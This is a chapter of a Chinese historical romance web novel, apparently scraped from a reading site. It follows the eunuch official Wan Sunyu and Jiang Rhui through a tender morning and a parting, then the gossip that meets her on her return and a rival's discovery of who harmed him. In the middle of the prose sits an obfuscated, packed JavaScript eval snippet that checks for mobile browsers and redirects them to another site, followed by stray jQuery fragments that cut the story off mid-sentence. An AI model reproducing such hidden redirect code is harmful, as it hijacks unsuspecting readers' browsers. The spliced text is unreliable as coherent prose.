翌日清晨，二人在微茫的晨光里苏醒过来。简单洗漱一番后，蒋如蕙正端坐案前，铜镜里现出一张年轻女子的面容，不施粉黛，却俏美动人。万荪瑜正提笔，为她画眼描眉。


    他细细勾勒着她眉头、眉峰和眉尾的走势，在他的生花妙笔下，远山如黛，更添风致。他又匀了淡红胭脂，涂抹在她白皙面颊上，点了艳红唇脂，勾勒着她分明的唇线。便见她肌肤白里透红，朱唇娇艳，更显明丽，恰似一夜春风后，盛放于枝头的桃花。


    “道是梨花不是，道是杏花不是。白白与红红，别是东风情味。曾记，曾记，人在武陵微醉。”他惊叹于她的美丽，兴致上来，出口便是诗篇。


    “哥哥又在掉书袋了，”她不曾听过这首词，便轻生嘟哝道，“我是春桃，当然不是梨花，也不是杏花。”


    万荪瑜闻她所言，不禁笑了，“这是南宋时女词人严蕊的《如梦令》，描述的是红白相间的桃花在春风中摇曳的别样风致，适才见你上妆后的模样，便想到这首词来。”


    “哥哥自幼饱肚诗书，夸起人来都文邹邹的，”她虽如此说，他的夸赞却叫她十分欢喜，“原来哥哥不只擅长丹青，上妆的技艺也这般纯熟。”她细细端详着镜中自己焕然一新的模样，也止不住称赞。


    “丹青之术本就不止作画，也可用于妆容，”他唇角勾起一抹浅浅的弧度，笑意便在眼角眉梢荡漾开来，“若是可以……真想日日为你上妆。”


    “会的，一定会的，”想到今日便要分别，她禁不住站起身来拥住他，“许多动人诗篇，你都还没来得及教给我，我不想再听你说起这些时，一问三不知。”


    “来日方长，待大事了了，我定来娶你，”他笑意明媚，刻意不去想那难以实现的可能，“何况，你现在这样就很好，你也有擅长之事是我不会的，我就欢喜这样的你。”


    她闻言便踮起脚尖，环住他修长白皙的颈项，吻上他棱角分明的薄唇，情念上来，便又是一番唇齿交缠。


    “哎呀，将将才为你点了唇脂。”带他意识到这点，为时已晚。


    蒋如蕙便朗声轻笑，将铜镜置于他面前，便见他白皙俊美的面容上，唇畔已晕开一片鲜红。


    “跟个厉鬼似的，瘆得慌。”万荪瑜无奈笑了，他此刻甚至忘了，自己这掌印提督在世人眼里，便是厉鬼的化身。他实则并不喜涂脂抹粉，平日里不当值时，他更习惯素面朝天。


    蒋如蕙忍俊不禁，便吩咐店小二打来温水，打湿布巾给他净面。


    “我再给你梳个发髻吧。”他温声道。


    “哥哥，你竟还会绾发？”她微微讶异，从前在万府时，他总忙于公事，难得回府又在病中，竟还未有机会为她绾发。


    “怎生不会？我会的事可多了。”他勾唇一笑，便索性立于她身后，拿起木梳轻轻拂过她乌黑亮泽的秀发，知她穿的是曳撒，便简单梳了个飞天髻。


    这发髻轻盈中犹带几分气势，正适合她。她很是欢喜，却又惊讶，“哥哥这动作好生娴熟，莫不是从前给旁的女子绾过发？”


    万荪瑜闻言，一口气险些提不上来，却也不瞒她，“从前在杨贵嫔宫中侍奉过，那时遭她刁难，避无可避，不得不给她梳发。”他声音里含着隐忍，因这是他身为内侍时屈辱的曾经。后来除掉义父万朗，得了先帝垂青，做了掌印提督，却又落入了另一个龙潭虎穴里。


    “那你以后，只能给我一人绾发。”她知他不愿回忆，便不再追问，只俏皮地提出了要求。


    “那是自然，这还用你说？”他不禁笑了。因有她在侧，曾经那些苦痛经历，好似都如云烟般消散了。


    她便起身，换他坐下，从他手里拿过木梳，将他一头青丝细细梳理顺滑，又娴熟地给他束发、插簪。


    他为她画眉梳妆，她为他束发簪冠，一如这世间寻常的少年夫妻一般。


    只相聚的时光总是转瞬即逝，便是再不舍，也到了分别之时。


    “若是这里有把古琴就好了，还想听哥哥抚琴一曲。”雾气在她眸中晕开，回忆如潮水般涌来。


    “我去问问店家，可否借一把琴。”万荪瑜轻笑着推门而出，却不过是掩饰泪意汹涌。


    好巧不巧的，这客栈真的有古琴。得了店家允准，二人便行至后院，这院落后方便是一片竹林，夏日微风习习，于竹叶间穿梭，发出沙沙的声响。


    万荪瑜端坐于石桌旁，将古琴放置其上，修长玉指拨弄琴弦，琴声悠扬，伴着拂面而来的微风，在竹林间回响，曲音悠长，起承转合间自成风度，便是一曲《高山流水》。


    蒋如蕙见他素手弄琴，清风拂过他发梢，他眉眼含笑，身姿如玉，垂首抬眸间，宛若谪仙。


    她便拔出腰间的配剑，迎着他指尖弹奏的曲调，舞起了剑。她虽习武，但入门太晚，一招一式间拼的不是力度，而是巧劲儿。


    她身姿轻灵，招式多变，常能出其不意，剑尖轻挑越地，卷起落叶如蝶舞，锋芒掠过长空，美人如玉剑如虹。一招一式与这悠扬飘渺的曲音相和，便见她身影轻盈而飒爽，宛若仙子凌于微波之上。


    一人抚琴，一人舞剑，恰如曾经在万府时，那个闷热而微凉的夏日午后。曲音与招式的配合，可谓天衣无缝。


    此客栈地处城郊山野，四下本不常有人经过，但琴音婉转动听，剑法轻盈欢快，仍引得行人驻足。他们只以为是对年轻夫妇，那公子俊逸如仙，那夫人飒爽明丽，当真是一对璧人。


    待一曲奏完，也到了分别之时。


    蒋如蕙自颈项间解下一枚玉佩，“父亲给我求来的护身符，你戴着它，定能平平安安，逢凶化吉。”她一面说着，一面将这玉佩戴在他颈项上。


    此行回京想必凶险万分，她既不能陪他同去，便愿这玉佩代她伴他左右，保佑他平安顺遂。


    “这是你爹给你求来的，你与他父女分离十余载，这是他对你的一番心意……”万荪瑜犹豫着，仍不愿收下。


    “我说给你，便是给你了，”蒋如蕙不叫他把话说完，便先道，“你若要还我，便快些寻到你的家传玉佩吧，你既已认定了我，便以此交换，你我永不分离。”


    “是……是……”他便不再推辞，声音微微哽咽，“我想就快寻到了，你再等等。”那玉佩，是宁家儿媳一代代传下来的，母亲曾说待他遇到心仪的姑娘了，便将这玉佩赠予她，奈何那年抄家后，这玉佩至今未能寻到。


    “好，我等你。”她亦是眉眼含泪。


    二人紧紧相拥，都不愿叫彼此瞧见眼里的泪水。这个拥抱很长，仿佛要将彼此的体息镌刻进血肉里，相依相偎时，呼吸才是真实的，血液才是温热的。


    待松开怀抱，周遭的空气便都冷凝下来。她终究目送他，上了马车，而后翻身上马，狠狠抽动马鞭，向着相反的方向疾驰而去。


    他掀开车帘，一直望着她离去的背影，她亦忍不住回眸望他，随着距离越拉越远，直到望着彼此，消逝在视线尽头……


    泪水随着耳畔呼啸而过的风蒸发殆尽，她策马走的官道，待回城时，夜幕尚未降临。


    “这不是那长乐郡主吗？她身畔那公子真的是司礼监掌印万荪瑜？”


    “千真万确呀！侯爷不是在京城寻到她的么？听闻郡主曾在宫里做过宫女，为了活命不惜委身那活阎王。”


    “那公子瞧着那般俊美，生得跟天上的仙人一样，不曾想竟是内官……”


    “他生得再俊，也是个身上少了东西的。郡主真可怜，自幼漂泊，竟被这阉人胁迫，委身于他。”


    自蒋如蕙回城，这一路上，百姓们的纷纷议论充斥在街头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034172|190351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    巷尾，越听越不堪入耳。


    “他救我性命，于我有恩，从未胁迫我，我与他是真心相爱！”她实在听不下去了，便出言怒斥道。


    “郡主这是魔怔了吧？竟被一介阉人迷惑。”说闲话的中年妇人遭她呵斥，面对她时虽闭了嘴，她尚未行远，又对身旁另一人说起来。


    她知道，仅凭她一人难抵悠悠众口，但她必须查清这流言的来处，万荪瑜和侍书、侍剑来陇西这大半月，一直着常服，便是西厂司事处也未走漏半点风声，这流言想必是有心人蓄意传播。


    唯一庆幸的是，万荪瑜此刻已然离去，这流言若是落到他耳里，他定会伤心难过、多思多虑。蒋如蕙想着，便无视众人议论，策马扬鞭疾驰回府。


    “蕙蕙，我这一路都没寻到你，还以为你不回来了呢！没出什么事吧？”侯府管家开门后，蒋如柏便三步并做两步跑来，见蒋如蕙面色红润，安然无恙，便放下心来。


    “我只是多送了万掌印一程，这便回来了，”蒋如蕙便提步向里行去，“二哥放心，我没事。”


    “你还知道回来啊？”蒋盛云闻声赶来，声音里含着怒意，眼里的责难却在见到女儿那刻烟消云散。


    “女儿送走万掌印，便回来了，叫父亲担心了。”蒋如蕙便向蒋盛云客气行礼，是对长辈的敬重，却无父女温情。


    “你一个未出阁的姑娘家，怎可夜不归宿？”蒋盛云想起昨夜，仍忍不住责问道。他自然明白女大不中留的道理，既知晓她对那万荪瑜情深意重，昨夜二人想必……话不能说得太明白，便只叹息一声。


    “父亲，女儿知错了。”蒋如蕙便做出一副诚心认错的姿态，只愿蒋盛云消气，不再追究。


    “罢了罢了，回屋歇息吧。”蒋盛云摆摆手，便示意侍女伺候她沐浴更衣。


    “谢父亲！”蒋如蕙说罢，便向东院行去，见蒋如枫迎面走来，又低声问他，“父亲没责罚大嫂吧？”


    “只出言训斥了几句，没罚，”蒋如枫如实道，“也亏你能想出这法子，还叫大嫂帮你。”


    “不然还能如何？”蒋如蕙不禁叹息，又有些自责。


    “你和荪瑜当真是情深意浓，密不可分呀，”蒋如枫不禁感叹，“不知我何时能与落梅……”


    “三哥，你在给落梅名份前，不可越雷池一步，”蒋如蕙会过来他话里的意思，语气便严肃起来，“你们和我们不一样，你若是对她……将来又给不了她应有的，会毁了她一辈子。”


    “我知道的，这还用得着你说？你三哥我是这般轻浮之人么？”蒋如枫睨了她一眼，便不服气道。


    “这可是你说的，你得先娶她过门。”蒋如蕙又道。


    “那是自然。”蒋如枫便应道，只他却也无奈，眼下还不知如何退婚。


    却说这边，昨日夜里。


    亭台水榭，回廊楼阁，竹影微晃。沈钰安正斜斜卧在水榭凉亭下的窄榻上，品尝着岭南运来的新鲜荔枝。


    此处是沈家在陇西的府邸，他们一家此番前来，一直在此处下榻。这宅子装潢陈设极是风雅，符合书香世家一贯的喜好。


    沈钰安品尝着美味，摔伤的那条腿却仍在隐隐作痛，尤其是今日自镇北侯府回来后。


    他不知平日里十分温顺的那匹马为何突然惊了，他出身名门，自幼锦衣玉食，也不是任人欺辱的性子，自那日落马摔伤后，他便遣人秘密查探是何人所为。


    正此时，一名年轻的侍卫装扮的男子疾步行至他身畔，贴在他耳畔窃窃私语。


    “可是真的？不会弄错了吧？”沈钰安闻言，惊惧之下不禁双目圆睁。


    “公子，千真万确呀！”侍从又道，这次没再压低声音，“是西厂司事处的人对您下的手，长乐郡主心仪的那男子，也正是司礼监掌印万荪瑜！”